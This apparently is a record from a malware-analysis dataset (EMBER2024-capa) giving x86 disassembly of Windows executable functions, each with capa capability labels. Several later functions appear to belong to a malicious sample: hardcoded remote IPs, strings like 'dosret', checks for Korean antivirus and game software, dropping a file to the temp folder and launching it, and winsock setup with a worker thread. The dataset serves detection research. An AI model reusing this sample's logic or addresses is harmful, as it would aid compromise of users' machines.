joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430052
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x498700]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x46b828
call fcn.00450943
mov ecx, dword [0x49a500]
mov ebx, dword [ebp + 0x214]
xor edi, edi
cmp ecx, edi
jne 0x4300b9
push 0x1c
call fcn.00430f25
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
cmp ecx, edi
mov dword [ebp - 4], edi
je 0x4300a3
call fcn.0042feca
jmp 0x4300a5
xor eax, eax
or dword [ebp - 4], 0xffffffff
cmp eax, edi
mov ecx, eax
mov dword [0x49a500], ecx
je 0x430212
call fcn.0042fefb
mov ecx, dword [0x49a500]
lea eax, [ebp + 0x218]
push eax
call fcn.0042fe3c
push 0x208
lea eax, [ebp]
push edi
push eax
call fcn.00450a50
add esp, 0xc
lea eax, [ebp]
push eax
push edi
push edi
push 5
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x430103
push edi
push 0x1a
lea eax, [ebp]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.004018b0
push str.PokerInstallerLogs
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 1
call fcn.004209c0
push eax
mov esi, 0x480d88
lea eax, [ebp - 0x18]
push esi
push eax
mov byte [ebp - 4], 2
call fcn.0041fc60
push esi
push eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 3
call fcn.00406360
add esp, 0x18
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.00406110
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401830
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.00401830
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401830
push dword [ebp - 0x10]
call fcn.00450b49
cmp eax, 0xffffffff
pop ecx
jne 0x43018e
call fcn.00450b05
mov ecx, dword [0x49a500]
lea eax, [ebp - 0x10]
add ecx, 0x14
push eax
call fcn.00409000
push ebx
lea ecx, [ebp - 0x18]
call fcn.004018b0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 5
call fcn.004062a0
add esp, 0xc
mov ecx, dword [0x49a500]
add ecx, 0x10
push eax
mov byte [ebp - 4], 6
call fcn.00409000
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401830
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
mov byte [ebp - 4], 1
call fcn.00401830
mov eax, dword [0x49a500]
push dword [eax]
push str.___________________________________________Initializing_Logger_For__s___________________________________________
push edi
push 0x31
push str.CLogger::InitializeLogger
call fcn.00430235
mov ecx, dword [ebp - 0x10]
add esp, 0x14
add ecx, 0xfffffff0
call fcn.00401830
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.0044de0c
add ebp, 0x20c
leave
ret
Function at 0x43747f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x4374c2
call fcn.004440d1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4374c2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4374dd
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00437039
test ebx, ebx
mov esi, eax
je 0x4374db
test edi, edi
je 0x4374db
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4403bb
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x4403e4
call fcn.004440d1
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x440407
push eax
push dword [esi + 4]
call fcn.00440346
push esi
push eax
mov ecx, 0x49bec4
call fcn.00440019
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x4421dd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x442223
call fcn.004440d1
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x442223
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x442266
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x44224f
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x44224f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x442263
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x443749
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
test ebx, 0xffff0000
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
jne 0x443769
cmp dword [edi + 0x54], 0
jne 0x443769
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004440d1
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x18]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00443710
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x449f73
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x449f7c
xor eax, eax
jmp 0x449fe5
cmp dword [esp + 8], 0
jne 0x449f88
call fcn.0043eaf5
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.004525a9
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x449fc3
push dword [esi + 0x10]
call fcn.004525c4
test eax, eax
pop ecx
jne 0x449fc3
mov esi, dword [esi + 0xc]
call fcn.00450b18
push esi
push dword [eax]
push 1
call fcn.0044984d
push dword [esi + 0x10]
call fcn.004525f3
test eax, eax
pop ecx
je 0x449fe2
push dword [esi + 0x10]
call fcn.00454864
push eax
call fcn.00401b90
pop ecx
pop ecx
jmp 0x449fb1
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x449fee
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x449ff8
call fcn.0043eaf5
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.0045273c
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x44a025
mov esi, dword [esi + 0xc]
call fcn.00450b18
push esi
push dword [eax]
push 1
call fcn.0044984d
pop esi
ret 8

Function at 0x44de0c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x498700]
jne 0x44de16
repz ret
jmp fcn.0045608c

Function at 0x44f96e
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
jne 0x44f99b
call fcn.00450b18
mov dword [eax], esi
call fcn.00450b05
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0044ec52
add esp, 0x14
or eax, 0xffffffff
pop esi
ret
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44f9b9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00450b2b
pop ecx
jmp 0x44f996
test byte [esp + 0xc], 0x80
je 0x44f9c5
and eax, 0xfffffffe
jmp 0x44f9c8
or eax, 1
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x44f9aa
xor eax, eax
pop esi
ret
Function at 0x461ae2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004559d6
xor ebx, ebx
cmp dword [0x49cffc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x461bb7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x461b22
xor eax, eax
jmp 0x461c7b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x461b1b
push eax
call fcn.00455973
mov dword [esp], 0x47b164
push edi
mov dword [0x49cffc], eax
call esi
push eax
call fcn.00455973
mov dword [esp], 0x47b150
push edi
mov dword [0x49d000], eax
call esi
push eax
call fcn.00455973
mov dword [0x49d004], eax
lea eax, [ebp - 8]
push eax
call fcn.0044fab2
test eax, eax
pop ecx
pop ecx
je 0x461b85
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0044eb56
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x461bb7
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00455973
cmp eax, ebx
pop ecx
mov dword [0x49d00c], eax
je 0x461bb7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00455973
pop ecx
mov dword [0x49d008], eax
mov eax, dword [0x49d008]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x461c30
cmp dword [0x49d00c], esi
je 0x461c30
push eax
call fcn.004559df
pop ecx
call eax
cmp eax, ebx
je 0x461bfd
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x49d00c]
call fcn.004559df
pop ecx
call eax
test eax, eax
je 0x461bfd
test byte [ebp - 0x18], 1
jne 0x461c30
lea eax, [ebp - 0xc]
push eax
call fcn.0044fae9
test eax, eax
pop ecx
je 0x461c18
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0044eb56
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x461c27
or dword [ebp + 0x10], 0x200000
jmp 0x461c61
or dword [ebp + 0x10], 0x40000
jmp 0x461c61
mov eax, dword [0x49d000]
cmp eax, esi
je 0x461c61
push eax
call fcn.004559df
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x461c61
mov eax, dword [0x49d004]
cmp eax, esi
je 0x461c61
push dword [ebp - 4]
push eax
call fcn.004559df
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x49cffc]
call fcn.004559df
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x46b390
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x498700]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0046b325
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00450a50
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x46b3df
cmp dword [ebp - 0x1c], 5
jb 0x46b3f7
jmp 0x46b3f3
cmp dword [ebp - 0x10], 1
jne 0x46b3f7
cmp dword [ebp - 0x1c], 4
ja 0x46b3f3
jne 0x46b3f7
cmp dword [ebp - 0x18], 0
jbe 0x46b3f7
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x47d1f0
call fcn.00416db0
test eax, eax
jge 0x46b418
mov byte [0x49e454], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0044de0c
add ebp, 0x78
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x244
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x240], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416de0
push 0x67
push esi
call edi
push 0x64
mov ebx, 0x416d18
push ebx
push 0x6d
push esi
call edi
push 0x6b
xor edi, edi
mov dword [esp + 0x28], esi
push esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0x18], 0x30
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], 0x4011a9
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
call esi
push 0x7f00
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [esp + 0x28]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 6
mov dword [esp + 0x3c], 0x6d
mov dword [esp + 0x40], ebx
call esi
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call ebx
call fcn.004026c8
call fcn.00401e4f
test eax, eax
je 0x4010d6
call fcn.00402dc0
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040121a
test eax, eax
jne 0x4010f6
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004041cf
mov esp, ebp
pop ebp
ret 0x10
test byte [0x417468], 7
je 0x401104
call fcn.00401710
mov ecx, dword [0x417740]
cmp ecx, edi
jbe 0x40112d
cmp word [0x417744], di
jbe 0x40112d
mov esi, str.218.54.31.226
call fcn.004033e9
mov ax, word [0x417744]
mov word [0x415f2c], ax
xor eax, eax
movzx ecx, word [eax + 0x413244]
mov word [eax + 0x417c78], cx
add eax, 2
cmp cx, di
jne 0x40112f
call fcn.0040344d
xor eax, eax
push 0x206
mov word [esp + 0x44], ax
lea eax, [esp + 0x46]
push edi
push eax
call fcn.00407b30
add esp, 0xc
lea eax, [esp + 0x40]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x417c78
lea eax, [esp + 0x44]
push esi
push eax
call fcn.004041de
add esp, 0xc
push 0x1f4
call ebx
push 1
push edi
push 0x41325c
lea eax, [esp + 0x4c]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x4010cf
Function at 0x40121a
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x3e
mov word [ebp - 0x48], ax
xor ebx, ebx
lea eax, [ebp - 0x46]
push ebx
push eax
call fcn.00407b30
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.00403013
xor eax, eax
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416ea8], cx
add eax, 2
cmp cx, bx
jne 0x401251
mov esi, 0x416ea8
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, ebx
je 0x401289
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x401361
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401282
lea eax, [ebp - 0x1d8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x417878
call fcn.00401b52
pop ecx
test eax, eax
jne 0x401344
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x417a20], cx
add eax, 2
cmp cx, bx
jne 0x4012bc
push str.218.54.28.139
push 0x40
push 0x41787c
call fcn.00404253
add esp, 0xc
push str.AAAA
push 0x10
push 0x4178fe
call fcn.00404253
add esp, 0xc
push 0x413294
push 0x40
push 0x41791e
call fcn.00404253
add esp, 0xc
push 0x51
pop eax
mov word [0x4178fc], ax
mov eax, 0x2b70
mov word [0x41799e], ax
xor eax, eax
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x417a00], cx
add eax, 2
cmp cx, bx
jne 0x401324
mov dword [0x417a40], 5
call fcn.004030a3
call fcn.00401370
push ebx
push ebx
push ebx
push 0x401a98
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret
Function at 0x401556
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push edi
push eax
mov dword [ebp - 0x418], edi
call fcn.00407b30
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.00407b30
add esp, 0x18
push 0x104
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
mov ebx, str._s_s
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401607
mov dword [ebp - 0x418], 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401635
or dword [ebp - 0x418], 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401663
or dword [ebp - 0x418], 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401694
or dword [ebp - 0x418], 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4016c5
or dword [ebp - 0x418], 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x4016f9
or dword [ebp - 0x418], 0x400
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
xor ecx, ebp
or eax, 0x2000000
call fcn.004041cf
leave
ret
Function at 0x40196e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov ecx, str.121.88.5.184
call fcn.00403617
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x401a89
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407b30
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.00407b30
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x416ef0
mov ebx, edi
cmp word [ebx], 0
je 0x401a1f
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.00404253
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.004041de
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x417468
jl 0x4019f1
cmp word [edi], 0
je 0x401a44
push dword [ebp + 8]
mov ecx, edi
push str.121.88.5.184
call fcn.00403e8b
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x417468
jl 0x401a2d
push 0x417c78
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.004041de
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401a83
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041cf
leave
ret

Function at 0x401be2
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x214], esi
cmp ebx, esi
je 0x401cf3
cmp edi, esi
je 0x401cf3
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401c13
sub eax, edx
sar eax, 1
je 0x401cf3
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00407b30
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x401c7e
cmp dword [0x415f10], 3
jne 0x401c7e
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004041de
add esp, 0xc
jmp 0x401c91
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004041de
and dword [ebp - 0x210], 0
push 0x4135d4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00404500
add esp, 0x18
cmp dword [ebp - 0x210], 0
je 0x401cf3
push dword [ebp - 0x210]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404791
push dword [ebp - 0x210]
call fcn.0040481b
add esp, 0x14
mov dword [ebp - 0x214], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
xor ecx, ebp
pop esi
call fcn.004041cf
leave
ret
Function at 0x401d96
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
xor esi, esi
call fcn.00407b30
and dword [ebp - 0x210], esi
add esp, 0xc
test edi, edi
je 0x401e40
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.004041de
push 0x4135f4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00404500
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e40
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.004049e6
push dword [ebp - 0x210]
call fcn.0040481b
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004041cf
leave
ret